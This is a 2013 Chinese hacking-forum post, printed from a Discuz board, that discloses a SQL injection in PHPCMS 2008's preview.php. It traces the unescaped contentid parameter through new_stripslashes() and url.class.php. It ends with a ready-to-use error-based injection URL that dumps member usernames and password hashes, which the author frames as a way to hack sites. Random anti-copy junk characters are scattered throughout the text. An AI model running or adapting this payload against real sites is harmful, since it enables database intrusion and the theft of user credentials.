中国网络渗透测试联盟
标题:
PHPCMS 2008 最新漏洞(第二季)附EXP
[打印本页]
作者:
admin
时间:
2013-4-19 19:17
标题:
PHPCMS 2008 最新漏洞(第二季)附EXP
说好的第二季来了......
' [4 ~1 n$ {; | D1 k
$ G$ u- S R! y$ e3 m
要转摘的兄弟们,你们还是带个版权吧!
2 y- j, ?! Z# e- [; ^7 A
% `" i9 p U' ?
组织 :
http://www.safekeyer.com/
(欢迎访问)
0 D: n3 }1 y: T3 s0 a( P% @
/ F& m. n) U! f6 v. I7 Z3 J, E4 [
author: 西毒 blog:
http://hi.baidu.com/sethc5
9 z9 A+ Q! d& M. C; Z
8 M, e: ?+ A4 R( Q' p7 Q
7 P1 T3 I$ U9 ]4 Y4 ^7 C
2 Y7 b4 r+ p# f0 j$ J/ i. [/ I( g2 u
其实还是有蛮多漏洞的,只是我一步步来吧!你们别催,该放的时候自然就会放了.
+ J% P" w2 r6 l
* R# l! }, y4 x) q8 ~: b
过程不明显的我就省略了。
& B4 C( ?9 a$ j# S5 C, C
1 f! t6 O2 b6 w' @% {8 f8 h/ ]
在preview.php 中第7行
{+ T- B& | t
h- r a1 D8 T4 D# g. s0 M
$r = new_stripslashes($info);
; L4 w# p/ N6 @( {0 G: C
# v: @( {( d# ^9 `3 ~9 J
我们跟踪new_stripslashes这个函数
! x0 q4 t) T4 b: r z9 Z- F
$ X/ o- J, w i# K3 S* C4 i( J
在global.func.php中可以找到
, E8 i8 }6 z: M; q* k& ?
, a& ]' Z8 F9 c& r: n& Y$ M
1
2 T- b4 p- f% l) A- w, ?
2
0 r, o$ b6 Z/ c
3
$ f" H9 t9 T4 u: g
4
. B$ {) _: @4 Q
5
1 k+ g \) R/ p* d, d% z
6 function new_stripslashes($string)
( C/ o, p" n [
{
* M: @* x8 h2 U3 U, q- p
if(!is_array($string)) return stripslashes($string);
8 h/ N( |$ P( d. g( J; v
foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
& b) @6 H$ k# R" @7 @% y
return $string;
: x* Z* R2 R4 X
}
1 @! N) ]9 U' S* C4 c
4 O0 @0 m8 S+ ?- W. a
这个函数的功能不用解释了吧
' H% f! @. b4 \& V& a
) u7 `* d$ `4 g( `
所以我们看具体应用点再哪?
, P, O- ?! X( D4 i$ i2 J: D/ \+ A# f
4 y3 i' t; L) M. t) A
1
D- T8 R' D4 e8 y
2
! | p4 G4 q4 h8 d( Z
3
8 l; j4 w4 ~: u/ i6 r( x
4
q& [& c Q6 z% x& H
5
* C- B% K! O: J' \/ G, i) I; X
6
/ N, u6 J, p" O
7
a3 ] _, s) k! o# I; w
8
. E! [! L; Q* A
9
+ ?2 H `7 w. w" ?' z
10
+ v* t( T& a- c0 Y3 q( a7 q d
11
0 Y, c% W5 y) |5 k1 `
12
; V4 q* h0 m# ?, q$ Q
13
0 U6 s7 ]5 x) g- ?- c
14
7 r0 b5 d9 l# _0 N
15
1 _4 V `$ f/ |% C: s$ u7 T4 B% Y
16
' q# z: R0 ?2 l5 H$ ^6 z" q
17
8 |. D' d1 O" H, o( C; r. L
18
" n3 c5 G8 H7 u* x P
19
1 s, O; P* A" [" S9 ]% Q
20
% j; M* {7 B. ~$ U$ y
21
g/ q4 N* w$ T C9 f
22
) k6 t. W% p, a5 T- F
23
. h1 r: T' O7 h8 t* C% ]/ B* F$ O; z
24
, V; {% T" m+ r. V+ v1 J
25
2 r& ~: M/ ]" y _+ @
26
: l& {/ J8 a3 j- v' P
27
7 q* w) w6 c9 g: W" b9 c
28
* f0 f: A, D5 y' L
29
a1 w* J/ n* q; {# \
30
+ \: H' ^) h/ q( Q+ V3 {0 i
31
4 w. a2 V* P6 [) O: b
32
_0 w2 S. L" y' c$ N: v, L o
33
+ |/ }1 `% Q+ B) Y+ F
34
/ k* {4 {; f. A) C4 W$ g5 ^3 X" i
35 require dirname(__FILE__).'/include/common.inc.php';
. o( t6 G# a9 j9 P
if(!$_userid) showmessage('禁止访问'); // 所以前提是我们注册个会员就ok了.
?) Y0 e$ e4 Y4 j
require_once CACHE_MODEL_PATH.'content_output.class.php';
/ N) t5 {* J9 x/ g' F) G1 n$ D
require_once 'output.class.php';
. j* f' K* n9 s/ }: Z, e( k% L: `
if(!is_array($info)) showmessage('信息预览不能翻页');//这里将要带进来我们的危险参数了
- D1 X3 D' q! x+ m& ^, ^
$r = new_stripslashes($info); //反转义了.....关键
3 r& f' X9 I* u. I' n9 M# ^
$C = cache_read('category_'.$r['catid'].'.php');
1 @5 Z/ Q Q- f( Q# X% T
$out = new content_output();
$ h. p8 U& T0 u E! m# C
$r['userid'] = $_userid;
' [9 n, s+ \: A) t
$r['inputtime'] = TIME;
& H J! ]8 W+ ~1 |' s
$data = $out->get($r);
- w: \, v6 z- K# Q6 `( L7 N& S' T
extract($data);
, D5 A! Y1 r3 F" w8 { Z
$userid = $_username;
1 {; L5 X3 l; ]* J" N
for($i=1;$i<10;$i++)
/ F: v! I/ S# x+ m" ~
{
' C5 |& z! l6 w$ o5 R! F' e- F
$str_attachmentArray[$i] = array("filepath" => "images/preview.gif","description" => "这里是图片的描述","thumb"=>"images/thumb_60_60_preview.gif");
* h7 H4 J6 j$ o2 l U5 s
}
: Y1 [+ h3 R9 M
$ ~. W& Z# f! S$ v% n, T
$array_images = $str_attachmentArray;
3 P, v! S# \9 Y& R6 [
$images_number = 10;
. x* [& A' S1 L3 b
$allow_priv = $allow_readpoint = 1;
$ C% ^2 ^+ p. ^! ?; ~/ M, ]2 A- _6 S
$updatetime = date('Y-m-d H:i:s',TIME);
% D2 f* z$ y9 v, M: X7 G G
R1 z2 H! C/ b, X \# U
$page = max(intval($page), 1);
) P% {& O* ^1 K& \' \- ^
$pages = $titles = '';
/ s# L2 N! D' f3 e) A1 @
if(strpos($content, '') !== false) //这里必须还有这个这个字符.....才能操作哈
( S% M, N: J6 C+ @2 B
{
8 I0 ?! i5 T) W/ I5 u
require_once 'url.class.php';
9 E& z( i" i$ t; q. w$ E2 U' ?- p
$curl = new url();
( `2 y* s" E r
$contents = array_filter(explode('', $content));
0 v" `3 f, T9 L# p/ R
$pagenumber = count($contents);
^; c2 P6 Z( }/ T/ w' e6 e- n
for($i=1; $i<=$pagenumber; $i++)
6 _" D4 ]6 N" m E/ U
{
# i. C7 x) [9 d7 i- N
$pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);//这里contentid进入SQL语句当中
m1 F+ P+ s5 ?. ~
}
! V$ l. @/ |( M
其中细节我就不说了...
' M& I% }2 S: |+ c
* T u3 G9 b, m0 b6 q0 @
我们看看这个$curl资源句柄中的show方法
- ~3 m5 {" M' _ x; n: P* V
c# W3 k& L0 n; U* L! c
1 $pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);
0 _7 W, M* ~" j1 Z
6 K, C" m5 b% @
1
I- c1 k5 [ j. T: S# q+ c
2
. |1 P9 T7 k% o+ o5 p1 N% |0 H5 U
3
* C1 n9 `1 _8 d. Y+ S
4
G3 U& @$ E0 ], u8 _! l
5
: ~7 x% a+ N8 M7 f8 H) t0 x
6
1 S, A& K# j d5 \# v+ [
7
: ?6 K9 @: n! t& [/ _6 C# P
8 function show($contentid, $page = 0, $catid = 0, $time = 0, $prefix = '')
( \/ |% ~/ ~5 ?$ U5 U* T7 m+ o/ R- q
{
" _# n! W/ \( s/ W0 E5 I l
global $PHPCMS;
- X# i0 F6 f. K- d1 n
if($catid == 0 || $time == 0 || $prefix == '')
% [9 P) J2 i/ H# i
{
+ G- N2 e( z/ J$ n# y+ L# U/ t
$r = $this->db->get_one("SELECT * FROM `".DB_PRE."content` WHERE `contentid`='$contentid'");
4 p5 o0 p& H/ u2 `( r* u# X8 I
if($r['isupgrade'] && !empty($r['url']))
9 q- W" Z7 o1 g, w% l
{
- R) q) |5 c2 p
+ y' [& O. q9 {' j% F
所以结合前面的......我们x站了吧
; C" Q+ R F) g: Z, `6 K) C
% V P5 M7 j2 P# }
给出exp
b7 C& Z0 s# R
1 K9 w$ \1 r% v5 A' G) V
www.xxxxx.com/preview.php?info
[catid]=15&content=ab&info[contentid]=2' and (select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)-- a
% n- i& a3 T+ N' n3 j
$ h$ i1 k6 |* w+ X2 h: Z; @
截图看一下
9 ~& Q7 \9 [: g, T1 S( B$ N
" I& H; Z, J' Y$ |
最后真心说句,360收购漏洞计划,价格真心低.....
+ n K8 F0 j/ a P5 _
http://www.myhack58.com/Article/UploadPic/2013-4/2013419151239428.jpg
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2